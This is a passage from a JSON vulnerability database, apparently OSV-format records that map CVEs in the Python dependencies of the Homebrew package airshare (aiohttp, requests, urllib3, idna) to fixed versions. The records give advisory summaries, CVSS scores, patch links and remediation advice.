https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-w2fm-2cpv-w7v5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22815"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-25645","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:04Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_22"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34513","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-hcc4-c3v8-rx92","CVE-2026-34513","PYSEC-2026-2095"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP Affected by Denial of Service (DoS) via Unbounded DNS Cache in TCPConnector","details":"### Summary\n\nAn unbounded DNS cache could result in excessive memory usage possibly resulting in a DoS situation.\n\n### Impact\n\nIf an application makes requests to a very large number of hosts, this could cause the DNS cache to continue growing and slowly use excessive amounts of memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hcc4-c3v8-rx92"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34514","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-2vrm-gr82-f7m5","CVE-2026-34514","PYSEC-2026-2096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP has CRLF injection through multipart part content type header construction","details":"### Summary\n\nAn attacker who controls the `content_type` parameter in aiohttp could use this to inject extra headers or similar exploits.\n\n### Impact\n\nIf an application allows untrusted data to be used for the multipart `content_type` parameter when constructing a request, an attacker may be able to manipulate the request to send something other than what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2vrm-gr82-f7m5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34514"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34515","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-p998-jp59-783m","CVE-2026-34515","PYSEC-2026-2097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP affected by UNC SSRF/NTLMv2 Credential Theft/Local File Read in static resource handler on Windows","details":"### Summary\n\nOn Windows the static resource handler may expose information about a NTLMv2 remote path.\n\n### Impact\n\nIf an application is running on Windows, and using aiohttp's static resource handler (not recommended in production), then it may be possible for an attacker to extract the hash from an NTLMv2 path and then extract the user's credentials from there.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-p998-jp59-783m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34515"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34516","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-m5qp-6w8w-w647","CVE-2026-34516","PYSEC-2026-2098"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP has a Multipart Header Size Bypass","details":"### Summary\n\nA response with an excessive number of multipart headers may be allowed to use more memory than intended, potentially allowing a DoS vulnerability.\n\n### Impact\n\nMultipart headers were not subject to the same size restrictions in place for normal headers, potentially allowing substantially more data to be loaded into memory than intended. However, other restrictions in place limit the impact of this vulnerability.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m5qp-6w8w-w647"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34516"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34517","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-3wq7-rqq7-wx6j","CVE-2026-34517","PYSEC-2026-2099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP has late size enforcement for non-file multipart fields causes memory DoS","details":"### Summary\n\nFor some multipart form fields, aiohttp read the entire field into memory before checking client_max_size.\n\n### Impact\n\nIf an application uses `Request.post()` an attacker can send a specially crafted multipart request to force significant temporary memory allocation even when the request is ultimately rejected.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3wq7-rqq7-wx6j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34517"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34518","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-966j-vmvw-g2g9","CVE-2026-34518","PYSEC-2026-2100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP leaks Cookie and Proxy-Authorization headers on cross-origin redirect","details":"### Summary\n\nWhen following redirects to a different origin, aiohttp drops the Authorization header, but retains the Cookie and Proxy-Authorization headers.\n\n### Impact\n\nThe Cookie and Proxy-Authorizations headers could contain sensitive information which may be leaked to an unintended party after following a redirect.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-966j-vmvw-g2g9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34518"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34519","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-mwh4-6h8g-pg8w","CVE-2026-34519","PYSEC-2026-2101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP has HTTP response splitting via \\r in reason phrase","details":"### Summary\n\nAn attacker who controls the `reason` parameter when creating a `Response` may be able to inject extra headers or similar exploits.\n\n### Impact\n\nIn the unlikely situation that an application allows untrusted data to be used in the response's `reason` parameter, then an attacker could manipulate the response to send something different from what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mwh4-6h8g-pg8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34519"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34520","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-63hf-3vf5-4wqf","CVE-2026-34520","PYSEC-2026-2102"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP's C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass","details":"### Summary\n\nThe C parser (the default for most installs) accepted null bytes and control characters in request headers.\n\n### Impact\n\nAn attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, `request.url.origin()` may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hf-3vf5-4wqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34520"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2102.yaml"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34525","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-c427-h43c-vf67","CVE-2026-34525","PYSEC-2026-2103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP accepts duplicate Host headers","details":"### Summary\n\nMultiple Host headers were allowed in aiohttp.\n\n### Impact\n\nMostly this doesn't affect aiohttp security itself, but if a reverse proxy is applying security rules depending on the target Host, it is theoretically possible that the proxy and aiohttp could process different host names, possibly resulting in bypassing a security check on the proxy and getting a request processed by aiohttp in a privileged sub app when using `Application.add_domain()`.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349\nPatch: https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-c427-h43c-vf67"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34525"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-34993","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-jg22-mg44-37j8","CVE-2026-34993","PYSEC-2026-2104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP is Vulnerable to Deserialization of Untrusted Data","details":"### Summary\n\nUsing ``CookieJar.load()`` with untrusted input may allow arbitrary code execution.\n\n### Impact\n\nMost applications using this function will be doing so with the user's own data, so this is unlikely to affect many applications.\n\n### Workaround\n\nIf an application does allow attacker controlled files to be loaded, a workaround on older releases would be to sanitise the files before loading.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34993"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-44431","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:05Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-44432","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:45:18Z","upstream":["GHSA-mf9v-mfxr-j63j","CVE-2026-44432","PYSEC-2026-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.6_19"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:\n1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).\n\nThese issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:\n\n1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. `HTTPResponse.drain_conn()` is called after response decompression has already started.\n\n\n### Remediation\n\nUpgrade to at least urllib3 version 2.7.0 in which the library:\n1. Is more efficient for reads with Brotli.\n2. Always skips decompression for `HTTPResponse.drain_conn()`.\n\nIf upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:\n1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.\n2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.\n\n\n### Credits\n\nThe Brotli-specific issue was reported by @kimkou2024.\n`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-45409","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:04Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially 